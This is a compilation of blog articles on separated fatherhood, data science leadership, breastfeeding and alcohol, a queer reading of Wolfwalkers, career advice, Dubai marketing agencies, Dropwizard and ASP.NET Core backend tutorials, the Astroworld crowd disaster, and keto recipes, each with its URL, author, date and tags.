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Friend or legal guardian?

Logo of www.papa-bleiben.de As a separated father, one often feels like an observer. At least that's how I feel when I have contact with my children or when I am with them. Unfortunately, I only experience my children sporadically, but with every encounter I recognize behaviors or patterns of thought in them that are new and perhaps even foreign to me. I openly admit that every now and then I catch myself thinking: “Who did my son get this from? Not from me! ”. Or also: "If I had more influence on my daughter, she would be different now!". Such thoughts are absolute nonsense, because with a child an independent person grows up. Of course, this person is shaped by his parents, but not exclusively. Other environmental factors also play a role, and scientists around the world have been researching and discussing the influence of these factors for decades. It is clear, however, that many personality traits are genetically created when the child is born. Neither mother nor father (nor the child itself) have any influence on this. So it is very presumptuous when a father claims that the mother's upbringing alone made the child anxious or phlegmatic. And it is even more presumptuous when he says he would have done better and prevented the child from becoming anxious or phlegmatic. As I said, I know similar thoughts from myself, but they lack any scientific basis. But what remains in any case is the strange feeling of being just an observer. Strange because as a father you would like to have an influence on the development of your child and as a legal guardian you should have it. But how much influence is possible when you only have direct contact with your own child on a few days a year? How is this little influence of the father to be evaluated when the great influence of the mother stands against it? Even if you have legal guardianship rights as a separated father, the question still arises as to whether you can still bring up your own child or whether you should use the few hours spent together on tiresome parenting issues. As a separated father, are you also a tutor, or is it better to be a friend of your own child? Or none of that? Or both? Parenting is not an option Basically, a child needs both parents for healthy development, that means both mother and father. The roles between the parents are distributed differently, which is determined by culture, religion, education, social status and other aspects. But a mother can never replace a father, and a father cannot replace a mother. It is therefore not in the best interests of the child if a separated father withdraws from the upbringing because he thinks he has no more influence anyway. As a separated father, I occasionally experience behavior in one of my two children that I cannot approve of. Let's say it's my son who's with me for the weekend. Then I ask myself the question: "Do I prefer to enjoy the weekend with him and ignore the topic, or do I talk to him about it and risk a problematic situation?". In my experience, there is no general solution in such cases. On the one hand, it depends on the topic itself and how important it is in my eyes. On the other hand, it depends on the current situation, my mood and also the mood of my child. Basically, however, I would say: Do not dodge the subject! If it is a topic that, according to your experience and assessment, is important for the development and well-being of your child, then you have to seek the conversation. It is not just a question of fulfilling your role as a father or as an educator. It's also about your child having a legitimate right to be educated by you. You may even be liable to prosecution if you do not protect your child from certain situations or prevent him or her from doing certain things. Young people in particular can come up with the most stupid thoughts when they are in the wrong circle of friends and thereby seriously endanger themselves or make themselves liable to prosecution. One of many examples is dealing with drugs. If you find out about it, it is your duty to act immediately. How do I tell my child? Such conversations can be really exhausting and nerve-wracking, because you will probably not always find your child open and understanding. I have already experienced that it took several hours for such a conversation. This is of course bitter in view of the short time available at our meetings. It would really be more convenient to forego the discussion and instead enjoy the short time. A completely different risk arises for a separated father: It's not just about the current meeting, which may suffer from the difficult topic. It is also about future meetings that may be in danger because the child does not feel like having difficult conversations with the dad. Then papa won't be visited anymore if he's always annoying. It becomes clear that a separated father needs a lot more diplomacy and empathy, but also courage and determination for a difficult conversation with his own child, than the mother of the child. The reason is that there is a lot more at stake, which cannot be cleaned up the next day. It is all the more important to carefully consider the need for such a conversation. It may also help to have a chat with the mother before you talk to your child. You may find out things that will help you decide whether the conversation makes sense and what it is best not to talk to your child about. In any case, it is desirable to come to an agreement with the mother on important issues - if that is possible. In an earlier article I already gave a few hints which rules I think can help to have difficult conversations with your own child. I repeat myself again here, but at this point it fits again: “In my opinion, it is important that the conversation has a clear beginning and a clear end as soon as possible. And it is important that such a conversation - as far as possible and predictable - does not happen immediately at the beginning or at the end of the visit. Embedded in unproblematic, happy and easy phases, such a conversation can be easily digested by everyone involved". Raising a child is certainly not an easy task. This is a major challenge even for intact families. This task does not get any easier for separated parents, because the separation brings additional challenges for parents and child. A separated father who rarely sees his child is, in my opinion, in the weakest starting position for several reasons. Nevertheless, it is also important for him to face this task and to accompany the child on its way lovingly, powerfully and with commitment.

https://medium.com/@christian-peter-niklis/friend-or-legal-guardian-21c99c5c66f0

['Christian Peter Niklis']

2020-12-08 15:03:10.837000+00:00

['Children', 'Responsibility', 'Parenting', 'Family', 'Fatherhood']

Leading a Data Science Team when you are not a Data Scientist

This was me when I took a position managing a data science team. My background is in social science and policy. I never coded before outside of some Stata for my masters degree (and the use of “coding” in Stata is arguable) and most of my math and statistics ware based on social science research. Honestly though, I usually leaned more on qualitative methods for my research and work. Now I was sitting down with a team trying to understand how they were pulling together data and compiling it into dashboards. Not only did I need to understand this in quick order, I was expected to help them do their jobs better and add value for the organization. I wasn’t really certain where to begin. Luckily, I had recently began a doctorate program and had been getting more interested in performance measurements, evidence-based policy, and the realm of data analysis. This had at least made me familiar with the term ”data science”. Additionally, I had a good plan for myself coming into this position. I built this plan based on The First 90 Days by Micheal Watkins. One of the key takeaways is to set a learning schedule for yourself. This does three important things. First, it ensures you are intentionally learning about the people, things, and relationships that you need to learn in your new job. Second, it allows your new team to see that you are coming in with an open mind to learn from them, rather than just thinking you know it all already. Lastly, it gives you time and space in your day to really dive into learning what you team is doing and how they are doing it. Take advantage of this time, it will help you immensely later on. You will also be surprised by how much you will learn about the team and organization this way rather than just scheduling a march of one-on-one meetings. Really take advantage and get into the work, try to actually contribute rather than just going through the motions. In my own case, this is how I became more familiar with the tools the team was using. SQL, R, Python and Tableau were all foreign to me previously. It also allowed me to understand how I might be able to add value to the team. More about that later.

https://towardsdatascience.com/leading-a-data-science-team-when-you-are-not-a-data-scientist-540db8fa9acf

['Joel Nantais']

2019-11-15 19:17:19.547000+00:00

['Data Science', 'Leadership', 'Goal Setting', 'Leadership Development', 'Self Improvement']

Breastfeeding and Drinking

HOORAY NEW MAMA! You deserve a parade after giving birth. Seriously, a day should be named in your honor. Now the big question: can you treat yourself with a tasty alcoholic beverage while breastfeeding? After mucho researching the academic literature, here is the deal: Well, the answer is yes, but one drink only. According to the American College of Obstetrician and Gynecologists (ACOG) and the Center for Disease Control (CDC), you should wait at least two hours after one alcoholic drink before breastfeeding [1, 2]. That is the estimated time it will take your body to process the alcohol and get rid of it from your breast milk. The alcohol will be present in your milk if it is still in your bloodstream, which means that the more you drink, the longer you will have to wait to safely breastfeed. But how long the alcohol will be in your milk or your blood is not a simple calculation of the number of drinks multiplied by two. It depends on many factors that affect how fast your body can metabolize alcohol. The CDC recommends no more than one standard drink a day, which is about half a glass of wine (5 fl oz) or a can of beer (12 fl oz). Breastfeeding and alcohol don’t mix well. According to the Mayo Clinic, no level of alcohol in breast milk is considered safe for the baby [3]. Research has shown that babies that are exposed to alcohol through breast milk may have impaired motor development and changes in sleep pattern, while the moms who drink may experience decreased Letdown reflex and milk production [3]. If you experience physical discomfort and would like to adhere to your milk expression schedule after you drink, you could choose to “pump and dump,” meaning to express milk and then discarding it. However, “pump and dump” doesn’t increase the elimination of alcohol from your body. If you’re worried about your baby getting hungry, you may also express milk prior to drinking and feed your baby later. Please remember that, if you choose to drink, plan carefully to avoid exposing your baby to any alcohol via breast milk. How does alcohol move through my body? Alcohol is categorized as a depressant because it slows down the central nervous system. It causes a decrease of coordination, reaction time, and intellectual performance. Once entered the body, alcohol is absorbed by tiny blood vessels called capillaries, with about 20% absorbed through the stomach and 80% through the small intestine. Alcohol in the bloodstream is delivered to all parts of the body, including your breast and breastmilk. It is gradually metabolized by enzymes in the liver. There are two pathways through which alcohol is processed. In the first pathway, alcohol is broken down by an enzyme called alcohol dehydrogenase (ADH) into acetaldehyde, which is then broken down into a smaller molecule, acetate by enzyme aldehyde dehydrogenase (ALDH). Acetate is further processed and eventually leaves the body as carbon dioxide and water. An alternative pathway, known as the microsomal ethanol-oxidizing system, is used when the blood alcohol level is very high [4]. That is why it takes time for the body to process and get rid of the mimosa you had. The time it takes varies from person to person and depends on many factors, including how fast someone drinks, how much he or she weighs, and how well the body metabolizes alcohol. For instance, genetic variations can lead to differences in the ADH and ALDH enzyme activity, resulting in different efficiency of alcohol breakdown. References

https://medium.com/@simplifed/breastfeeding-and-drinking-7cb7c59c8645

['Claire Dowell']

2021-06-23 15:08:35.433000+00:00

['Breastfeeding', 'Alcohol', 'Lifestyle', 'Baby']

A Queer Reading of Wolfwalkers

A Queer Reading of Wolfwalkers This contains spoilers for the entire film “Wolfwalkers” Apple Wolfwalkers is the fourth film by Irish studio Cartoon Saloon and their third to adapt Irish mythology. The story follows Robyn, a free spirited girl who bucks the stereotypes of women in the 17th century, as she discovers that there is more to wolves than the danger she thinks them to pose. Nature is a heavy focus of the film, and it serves as the primary focus of the film. That said, linked into nature and the freedom it is shown to encapsulate, it is easy to draw parallels between the film and queerness. Over the course of the film Robyn befriends Mebh, a wolfwalker. Wolfwalkers are mythological beings who are humans when awake and wolves when asleep. This duality flips Robyn’s perception of whether wolves deserve to be hunted as she so gleefully longs to do in the beginning of the story. As the tale unfolds, and we are fed more and more information about Mebh and her tribe of wolves, we begin to understand the clear line drawn in the sand between nature and freedom and the town and rigidity. Throughout the film we see more and more clearly the allegories drawn for coming out, realizing your identity, and the oppressiveness of the non-accepting world. I. The Church “Wolfwalkers” Apple The town guard, helmed by the evil Lord Protector Cromwell, seek to annihilate the wolves, dubbing them as pagan and evil. They cut down and later burn down the forest, destroying the wilderness. Wolfwalkers does not try to portray the Church in a positive light: its people misinterpret their own desires for dominion as a mission from God. The Lord Protector sees himself appointed by his God to destroy the wolves and make the land acceptable to the Lord. All of this, along with muted colors and stark buildings, serve to make the town feel oppressive to the viewer. The forest, on the other hand, welcomes the viewer with open hands. In it, the animation becomes bouncier and less restrained, colors become vibrant, and Robyn can buck off the expectations of the town. The Church is portrayed as suppressors of individuality. We only know what they think through third parties — there isn’t a priest in sight. What we do know is the effects of their teaching. They stifle Robyn’s non-traditional expression of herself and try to, unknowingly, kill her once she becomes a wolfwalker. Even her father, believing in the Church, nearly kills her. Clearly, whatever the Church advocates for ought to be scrutinized. Further, at the end of the film, it is a rejection of the Lord Protectors rigidity, presumably inherited from the Church, that allows Robyn and her father to be happy. To the characters, the church is not beneficial; it is out to kill and destroy. II. Identity “Wolfwalkers” Apple After being sentenced by the Lord Protector to work in the scullery, Robyn feels the weight of being a young woman in the 17th century. Her sense of boldness and desire for adventure are stifled as she is forced into a position that she doesn’t fit. Once she goes into the woods, she finds kinship with Mebh. The two unite to save Mebh’s mother from captivity and death at the hands of the Lord Protector and Robyn’s father. When Robyn is in the woods and with Mebh and the wolves, you can feel her guard go down. She no longer feels the restrictions of the town to be a subservient woman. Wolfwalkers are stand-ins for societal outcasts. Specifically, I would argue, gay, bisexual, and lesbian people. The wolfwalkers are hated and scorned, the figures that supposedly espouse beliefs of the Church seek them out with vengeance, and they are misunderstood even by their own parents, all through no fault of their own. They also are invisible. Where it is generally apparent whether two people are of the same race, sexuality is indecipherable. It is what is inside, not out. Likewise, Robyn is not known immediately to those around her as a wolfwalker, it is something she must tell them of. Robyn quickly finds the company of Mebh and the wolves as freeing and a way to reclaim her independence and find who she is. As she falls into rhythm with the world of the wolves, she becomes more confident in herself and who she is. All of this culminates in her helping to protect them from the Lord Protector. Throughout the film Robyn and Mebh get closer and closer. They spend time together, teach one another about their respective worlds, and feel a sense of connection to one another. There is an undeniable tension between the pair. Though they are young, you suspect there is more between them than friendship. They experience the same tropes that, in any animated movie with a boy and girl protagonist, would be read as romantic. Crucially, there is never a moment where the film says “no homo,” the closest it comes is when Robyn calls Mebh her friend, hardly a disqualification. Instead, the film allows viewers to insert themselves and their experiences just as any typical children’s film with protagonists of opposite genders. III. Coming Out “Wolfwalkers” Apple It takes Robyn a long time to share her newfound identity with the world. The first time she turns into a wolf she debates telling her father but, before she can decide, he sees her, trying to attack. She quickly learns that being a wolfwalker is something she must hide from her town; even her father. When she stands in front of her father to protect Mebh’s mother in wolf form, Robyn’s father warns her that she could be put in a cage. Unmoved, Robyn retorts that she is already in a cage. She feels the constraints of a life in the town, the inability to be outside the mold. It is not until the climax of the film that Robyn comes out as a wolfwalker to her father. When she does, he is confused but comes to understand and sides with her against Lord Protector Cromwell and, by extension, the Church. Together, they save the rest of the wolves as well as Mebh and her mother. It is this that shouts the film’s thesis of acceptance: it is in uniting against hatred and fear that the Robyn’s father opens his mind and his heart. Wolfwalkers is now in theaters and will be available via Apple TV starting December 11th.

https://aninjusticemag.com/a-queer-reading-of-wolfwalkers-80fec678a382

['Sam Duffy']

2020-11-19 03:11:21.321000+00:00

['Movies', 'Queer', 'Apple TV', 'LGBT', 'Animation']

10 Questions From Seth Godin to Help You Do Work That Matters

1. Is what you’re doing remarkable? How do you define “remarkable?” Quite literally: Is what you’re doing worth mentioning to a friend — not for you but the person you’re doing it for. Whenever I needed something from someone, I’d try to show up in person. I took countless five-minute walks down to the logistics center, and I had many friendly interactions with the workers there, who otherwise had a pretty boring job. Maybe, some of them once made a remark to their family at dinner: “Nik came by today. Nice guy.” I won’t ever know if anyone did, but that’s not the point. The point is I did something that had a shot at deserving a remark. 2. Would you be missed? It takes a while until new employees provide value. They must learn the ways of the company first. After a few weeks on the job, however, I already handled a lot of “let’s not botch these” type of tasks. By the end of my internship, I handled most of the day-to-day work of one of the company’s senior slackers. I didn’t mind. He’d done his 30 years there already. He had a positive spirit. He let me do cool things and taught me the stuff you can only read between the lines. It was awesome — and I bet he cursed the day I left. Often, we don’t know who “they” are, and we don’t know what “gone” means, but it always helps to ask: Would they miss you if you were gone? 3. If you didn’t show up, how many would ask: “Where are you?” The year of my internship was the year I learned to make websites with Wordpress. In the summer, I often went to coffee shops in my spare time and designed basic landing pages for iconic BMW M cars. I was just dabbling, but those pastime activities later became the foundation of launching my blog and email newsletter. A few months after that, I tested the specific variant of Seth’s question I wrote down in my notebook: “If you didn’t send out an email this week, how many people would write to you and ask: ‘Where’s the email?’” Back then, the answer was zero. Today, I’m lucky to have people check on me every now and then whenever I’m quiet for too long. It’s a long road to doing something that matters, and you’ll only ever matter to a small group of people, but if no one really cares whether you do your work or not, at least in the long run, it’s probably work that’s not all that important. 4. Are you changing people? Change can be small. A smile is a change. So is a nod. People don’t have to shower you with likes or money to verify that you matter. They can do that in their living room without you ever realizing, which is why it’s so important to keep showing up. Eventually, you will get more tangible feedback of the change you’re making. People will email you, comment on your work, or commend you in front of their friends. But until that day, be content with small changes happening in silence. You never know when they’ll add up. 5. Do you transform others? Transformation is the big brother of change. It’s the kind of change you can see, and if you can’t, you can definitely feel it. Transformation is the kind of service you’ll remember a lifetime performing. You’ll never forget the person who thanked you for helping them lose 20 pounds. Everyone can make change, but it rarely compounds into true transformation. Work hard, do your best, expect nothing. Maybe, you’ll get a testimonial that makes for a cool epitaph. Maybe, you won’t. Either way, you’ll be proud of what you did while you were here. 6. Are you helping people find respect? One of the most profound transformations you can offer is to show a group of people respect that are usually being offered none. During my time at M, I always went out of my way to thank two categories of employees: the secretaries in the office and the mechanics in the workshop. Both were crucial to our entire operation yet vastly under-appreciated. Without the secretaries, their bosses literally couldn’t function, and without the mechanics, neither could the cars. Nevertheless, both parties were often taken for granted, and so was their hard work. I was only an intern, but I think my “Thank you,” to them still mattered — because every “Thank you” matters. 7. Can you be the best in the world at this? The only way to be the best in the world is to make “best” subjective and to make “world” really small. I wasn’t the world’s greatest intern. I wasn’t the most productive BMW employee. But the best intern for the European sales unit of M for six months? That seemed doable, and I worked hard to live up to that mission every day. Look at all the circles in your life where you can add value. What is fun? What do you believe in? What are your unique talents? Intersect enough of these circles, and you’ll have an intersection at which only you can stand — and then hold the torch as high as you can. 8. Is this something that might not work? Without risk, there can be no reward. I planned many events at M. I always scheduled them with high hopes. “Fingers crossed they’ll like this activity.” “I hope this exhibit will be a hit.” But I never knew for sure. Often, you just have to take your best shot. It won’t always land, but if it’s a shot that can’t miss, it’s also one that won’t hit. As long as it’s an ambitious at doing work that matters, however, it’ll never be wrong to have gone for it — even if it doesn’t pan out. 9. Are you connecting people around a shared cause, goal, or purpose? Fame is not a cause. Attention is not a purpose. What you try to rally people around must be bigger than yourself. We’re going for real emotions here. We don’t care about the fluff. M has a long history of making people feel alive. It’s a unique connection between human and machine. It’s about performance, achievement, empowerment. It’s about respect, ingenuity, and creativity. When the right person sits in an M car, they can feel it. I don’t need to explain it. You’ll either know or you won’t — but for the people who do, that feeling makes all the difference. 10. What is this for? The answer better not be “My boss.” Why are you doing what you’re doing? That’s a hard question, but it deserves an honest answer — and not once but every day. I always tried to connect the task in front of me to its place in the bigger picture. That’s an effort you’ll rarely make in vain. Even if a task sucks, as long as you can think of a good reason to complete it — a good person who depends on its success — you’ll never lack motivation. You’ll always know how and why what you’re doing matters, and that’s a priceless feeling.

https://entrepreneurshandbook.co/10-questions-from-seth-godin-to-help-you-do-work-that-matters-7f6c2f889471

['Niklas Göke']

2020-12-22 15:26:10.055000+00:00

['Work', 'Productivity', 'Purpose', 'Career Advice', 'Startup']

The Best Digital Marketing Agencies in Dubai

UBL International-UBL Digital World is the best digital marketing companies in Dubai . UBL’s Digital Marketing team is spread across Dubai and produces the best business ideas. They carry out the entire digital marketing strategy, from planning to final implementation. The SEO specialists will maximize your online potential, resulting in more consumers. They provide Digital Marketing and Web-related services to companies all around the world. As a leading SEO Service provider in Dubai, they deliver high-quality Digital Marketing and SEO services as well as prompt replies with no hidden fees. Relax while the SEO Experts work for you to increase your profits. McCollins Media- McCollins Media is a Dubai-based digital activation firm that has been providing high-quality digital marketing services since 2010. They employ a combination of strategy, consumer intelligence, and cutting-edge technology to solve customers’ challenges and help them achieve their goals. They design compelling online and mobile apps and generate leads through SEO and SEM methods. They also use tried-and-true social media marketing tactics to boost their clients’ social media presence, which is critical for thriving in a competitive industry. 3. Digital Marketing Sapiens-Sapiens Digital Marketing in Dubai provides a comprehensive and cutting-edge variety of digital marketing services. This digital marketing business assists its clients with online reputation management in addition to the normal site and app design and development, SEO, and SMS and email marketing. Their online reputation management services assist you in projecting a favorable image for your business across several platforms, putting you ahead of your competition.

https://medium.com/@bibuthomasz99/the-best-digital-marketing-agencies-in-dubai-759756dcdd79

[]

2021-12-29 08:58:38.181000+00:00

['Digital Marketing Company', 'SEO', 'Digital Marketing', 'Seo Serivice', 'Digital Marketing Agency']

Understanding Authentication and Authorization in Dropwizard App (Kotlin)

How to Implement Authentication and Authorization in the Dropwizard App I believe it is easier to understand how all of these things work through a real example, so let’s start implementing authentication and authorization from scratch in our Dropwizard app with Kotlin. I assume you know how to create a Dropwizard app, if not you can read my previous post “Create an app with Dropwizard, Maven and Kotlin”. POM Dependency In order to use the Dropwizard authentication, you should add the following dependency to POM file: Defining User Roles Define an enum which represents the user role: Implementing the Principle Object Once the user is authenticated, the application establishes the Principle. The Principle is an object which represents the currently-logged-in user in the context of the application. One user can have multiple IDs, for example, if the user has several Gmail accounts. However, there is usually just one logged-in user per request and this is going to be the Principle. We will implement a java.security.Principal interface as follows: Creating a Custom Authenticator Now we can create our authenticator which implements Interface Authenticator<C,P extends Principal>. The authenticator gets the user basic credentials as input and should validate them. If the authentication succeeds, the authenticate function should return a Principle object (the user) in an Optional container. Otherwise, an empty Optional is returned, indicating that the credentials are invalid. Here is the implementation: Please note: this is a simple authenticator implementation just for demonstration. Creating a Custom Authorizer Our authorizer should implement the Interface Authorizer< P extends Principal >, which has a single method “authorize” that gets a Principle (user) and role, and is responsible for deciding if access is granted to this principle. Authenticator and Authorizer Registration We are ready to register the custom authenticator and authorizer in our Dropwizard app. AuthDynamicFeature enables HTTP basic authentication. RolesAllowedDynamicFeature enables HTTP authorization. AuthValueFactoryProvider allows you to use @Auth to inject a custom Principal type into your resource. In this example, we are using BasicCredentialAuthFilter which supplies us with an out-of-box authentication filter (implementation of AuthFilter ). It is possible to define a custom filter if needed. To do that you should use AuthDynamicFeature and implement the AuthFilter Dropwizard class. Secure Our Resources There are two options to secure your resource: Use one of @RolesAllowed , @DenyAll , @PermitAll annotations. Each of these annotations will trigger the authenticator and the authentication filter to validate the credentials, and the authorizer, to check the permissions. Use @Auth annotation, in order to trigger the authenticator and the authentication filter. An important note: Using @PermitAll and not setting any of these annotations is not the same! If you don’t set one of these annotations, the authenticator will not be triggered, so any user can access this API. Testing our security Let’s access our application in the browser through http://localhost:port/helloWorld . In the IntelliJ terminal, you can see that the server sent GET /helloWorld HTTP/1.1" 401 as described in the flow diagram (step 2). You should see a sign-in dialog box where you can enter a username and password to authenticate. Let’s try to enter different credentials to see what happened: Try entering the wrong credentials. You should get another HTTP 401 Unauthorized error, which indicates an authentication failure. Try entering guest credentials. You should get an HTTP 403 Forbbiden, as we defined @RolesAllowed("Admin") on our resource. on our resource. Finally, we can enter the admin credentials. You should get 200 OK status code. Looking at the HTTP request header (click F12 in the browser), we can see the following Authorization header: Authorization: Basic QWRtaW46c2VjcmV0 The Basic stands for the HTTP Basic schema, and the string QWRtaW46c2VjcmV0 represents the credentials in base64-encoding. We can use a base64 encoder, and we will get the credentials we entered: Admin:secret Conclusion So there you have it, how to perform authentication and authorization in Dropwizard! As mentioned earlier, this was something that I was unfamiliar with originally. I hope that this post is able to help you understand the concept I laid out. Thanks for reading.

https://codeburst.io/understanding-authentication-and-authorization-in-dropwizard-app-kotlin-e593d2052f33

['Ron Paz']

2020-11-22 06:00:45.472000+00:00

['Security', 'Web Development', 'Authentication', 'Backend', 'Kotlin']

ASP.NET Core 2.2 & 3 REST API #27 — Health Checks

A healthcheck is just a way to ensure our application (as a whole), or specific components work as expected. All of this information is going to be accessible through a health endpoint. Apart from monitoring reasons, if let’s say, we had a scaled-out system that is positioned behind a traffic manager, we want our traffic manager/load balancer to know which of these services are health so it can redirect traffic to them, in order to achieve 0 downtime. Let’s just create a new HealthCheckInstaller , in order to add services.AddHealthChecks() and also, on our Startup.cs/Configure method, add app.UseHealthChecks("/health") and that’s it. If we just hit this health endpoint now, we just get a Health text message. This does not actually do much, it just checks wether the API is up and running, like a test endpoint. What we need to integrate with this system is our SQL Server and our Redis cache. We’re going to see 2 things: How to use a pre-existing package to automatically inject configuration for the SQL Server database context How to create our custom health checking component to integrate this with the Redis cache (there are packages that already do that, but this is a demonstration on what the framework allows us to do) SQL Server Add the Microsoft.Extensions.Diagnostics.HealthChecks.EntityFrameworkCore package through the NuGet interface. ASP.NET Core has got lots of packages for different libraries you can use and you can typically find them under the Microsoft.Extensions.Diagnostics.HealthChecks namespace You can now update the services.AddHealthChecks().AddDbContextCheck<DataContext>() . By simply doing that, the health checks are installed for the SQL Server, but there is one more thing needed in order to change the plain health message that the endpoint returns. Let’s see how to customise this: Create a HealthChecks directory under the contracts projects (not versioned) directory under the contracts projects (not versioned) Under this, create a new HealthCheckResponse : And a HealthCheck class as well : The part where you plug these contracts in the framework is an overload of the .UseHealthChecks method. It has an extra HealthCheckOptions parameter, which contains a ResponseWriter , which is basically an async function that takes in the HttpContext and the other health check reports, composing the final response. That’s the basic stuff set in place. Redis This is the custom part that .NET makes so easy to implement. Start by creating a HealthChecks/RedisHealthCheck : IHealthCheck . Override the missing methods and we are ready to write some code in order to return Health-Degrated-Unhealthy status, along with possible reasons. The first thing we need is to add the ConnectionMultiplexer as a singleton, inside our Redis installer. services.AddSingleton<IConnectionMultiplexer>(_ => ConnectionMultiplexer.Connect(redisCacheSettings.ConnectionString)); In the actual health check, we can inject that through the constructor. There are many approaches to manual health checks, we are going to take the simplest (and effective) way. Try to make a call to Redis If you get a response without an error, return healthy Else, something is wrong and you need to bubble up the error message to the health check endpoint response Please do not pass the whole exception message to your production servers, without making sure that there are not sensitive information exposed first.

https://medium.com/@zarkopafilis/asp-net-core-2-2-3-rest-api-27-health-checks-112b3ccc9439

['Theodoros Ntakouris']

2019-09-24 10:34:19.921000+00:00

['Software Engineering', 'Microsoft', 'Csharp', 'Aspnetcore', 'Rest Api']

Nobody’s Army: Lessons from the Astroworld

by Gina Arnold “The 20th century is the era of crowds.” — Gustav LeBon. Photo: Gold, by Sebastiao Salgado. When I was young, I went to rock festivals…a lot of rock festivals. In fact, outside of the people who work rock festivals, such as promoters, bands, and stagehands, I might have been to more rock festivals than anyone you know. In the 1990s, I was a rock critic for all those big rock magazines that no longer exist, and festivals were my beat. My attendance at all the festivals adds up to having witnessed a lot of mayhem. One time for example I was at a rock festival in Ohio where a riot occurred during a set by the band Ministry. Crowds of young men rampaged through the arena and tore all the seats off their bearings, and when it was all over, the late Chris Cornell, whose band was up next, said: “You guys looked like some kind of an army out there. The question is, who’s army are you going to be?” I thought of that question ruefully on the morning after Astroworld, the 2 day Festival that happened in Houston in November, at which 10 people were killed in a 40-plus minute melee that saw 50,00 people surging toward the stage, tripping, tramping, squeezing, stomping on, and putting almost 100 people in the hospital. Whose army was that, I wondered. And what were they fighting for? That incident is why, in my book about festivals Half a Million Strong: Crowds and Power from Woodstock to Coachella I suggest that, by being uncomfortable, dirty, and destructive, attendance at rock festivals makes young people feel like they are participating emotionally in historic events. They are like battlefields for people who will never set foot on a real one. a book about crowds by moi My book was based on my Ph.D. dissertation, but in addition to research, many of the thoughts were informed by real life experiences. I’ve been lifted off my feet in the pit of Fugazi show, surfed across the top of a crowd at Nirvana, and seen boys jumping from balconies in Tijuana, upheld by a scrum of people so tight that there was no fear of them smashing to the ground, and yet, I was still profoundly disturbed and befuddled by the events that occurred at Astroworld. Clearly, there was a degree of mayhem at that looked completely unlike anything I ever experienced in front of a stage. The first-hand reports of it were almost too terrifying to read. The pleas for help. The unconscious women being crowd surfed out. The ten year old in cardiac arrest. The tweets saying, “We were the floor.” The morning after, much blame was put on the performer and promoter Travis Scott and Live Nation, both of whom are now being sued for liability, the latter for their lax safety precautions and the former for promoting the show, maximizing profit, and encouraging mayhem. Both of these entities are clearly culpable for much of what went down and yet, there may have been other factors at play. Was it Covid-related somehow? Was it due to the polarization of America which has made people angrier and more ‘me’ oriented? Have people literally lost their humanity? I think the answer to all of those questions is yes. Sadly, we are living through times when life feels cheap, stupid behavior is often rewarded, and many young people are eager — even encouraged — to engage in risky behavior, such as joining maskless crowds in the middle of a pandemic. It seems as if recent events in America have plunged us into a more frightening reality which the events at Astroworld reflect. Another thing that differs between this show and past ones has to do with new technology. Unlike previous concerts — Woodstock and Monterey Pop, say — this festival has been documented by the crowd itself, via social media, thus giving us access to what it was like in the trenches. I suspect that some of the concerts we now revere were quite horrid to be in the midst of — and not just at Altamont, where a man was murdered in full view of the stage as The Rolling Stones performed. (The murderer was acquitted, by the way.) Moreover, although social media may bring some much-needed transparency to events in the pit, it has also played a darker role in fomenting the mayhem in the first place. Festivals like Astroworld are all about being seen at them on Instagram or TikTok — creating FOMO, recording yourself, “pictures or it didn’t happen.” Part of the appeal of these events is participating in something worth documenting, and ‘raging’ is how concert goers help to create something dangerous and edgy to brag about. This is why I don’t think that the brutal events at Astroworld will stop kids from wanting to attend festivals like it in the future. In his Nobel prize-winning book Crowds and Power, published in 1960, Elias Canetti grappled obliquely with the unaccountable facts that led to crowd-behavior in Nazi Germany. In the book, Canetti accounts for the desire to join large, angry crowds by saying it is a way that individuals seek psychological safety from a world they perceive as being hostile — that is, they form informal armies as a way of ensuring their own survival. Canetti couldn’t have imagined an Astroworld, but I bet he would have understood it.

https://medium.com/fools-rush-in-again/nobodys-army-lessons-from-the-astroworld-f12d4c71dc09

['Gina Arnold']

2021-11-23 19:38:48.419000+00:00

['Rock And Roll', 'Festivals', 'Travis Scott', 'Music', 'Astroworld']

BEST 5 KETO RECIPES FOR FAT LOSS

BEST 5 KETO RECIPES FOR FAT LOSS Don’t allow your hectic holiday schedule keep you from organizing the perfect festive feast…You CAN enjoy traditional holiday meals without the added carbohydrates! . (And, yes, your non keto family members will appreciate these meals as well!) #1 Keto 3-Ingredient Pasta Noodles — From my second print cookbook, this is one of my favorite recipes… and it’s hard to tell they’re keto! These chewy noodles are simple to wrap around a fork, mix well with a variety of sauces, and only require three ingredients! Photo by Lisa from Pexels IF YOU WANT A CUSTOM KETO DIET PLAN CUSTOMIZED FOR YOU, CLICK HERE NOW TO GET ACCESS #2. Roasted Red Peppers — Sure, you can buy these in a jar… but once you realize how simple it is to create these peppers at home, you’ll have them on hand all the time! Photos by wholesome yum IF YOU WANT A CUSTOM KETO DIET PLAN CUSTOMIZED FOR YOU, CLICK HERE NOW TO GET ACCESS #3 Braised Lamb Shanks — With a rich tomato red wine sauce and fall-off-the-bone meat, this meal appears to have taken hours to prepare… yet it only requires 15 minutes of hands-on time! Photo by Maria Bortolotto from Pexels IF YOU WANT A CUSTOM KETO DIET PLAN CUSTOMIZED FOR YOU, CLICK HERE NOW TO GET ACCESS #4 Keto Queso Dip — You can make the best creamy dip for game days and parties with just three ingredients and no fillers, artificial cheese, or carbs. In the slow cooker, it’s all hands off! IF YOU WANT A CUSTOM KETO DIET PLAN CUSTOMIZED FOR YOU, CLICK HERE NOW TO GET ACCESS #5. Keto Peanut Butter Fudge — The ideal present for anyone who is trying to avoid sugar, including yourself. There are only four ingredients and a plethora of topping options! IF YOU WANT A CUSTOM KETO DIET PLAN CUSTOMIZED FOR YOU, CLICK HERE NOW TO GET ACCESS Follow me on medium for more health & fitness tips

https://medium.com/@ashantiglee/best-5-keto-recipes-for-fat-loss-2e4aefa5b1a0

[]

2021-12-23 18:15:38.922000+00:00

['Ketogenic Diet', 'Weight Loss', 'Keto', 'Fat Burning Foods', 'Keto Diet']

The Evolution of Music — Part 1: Chicago House Music

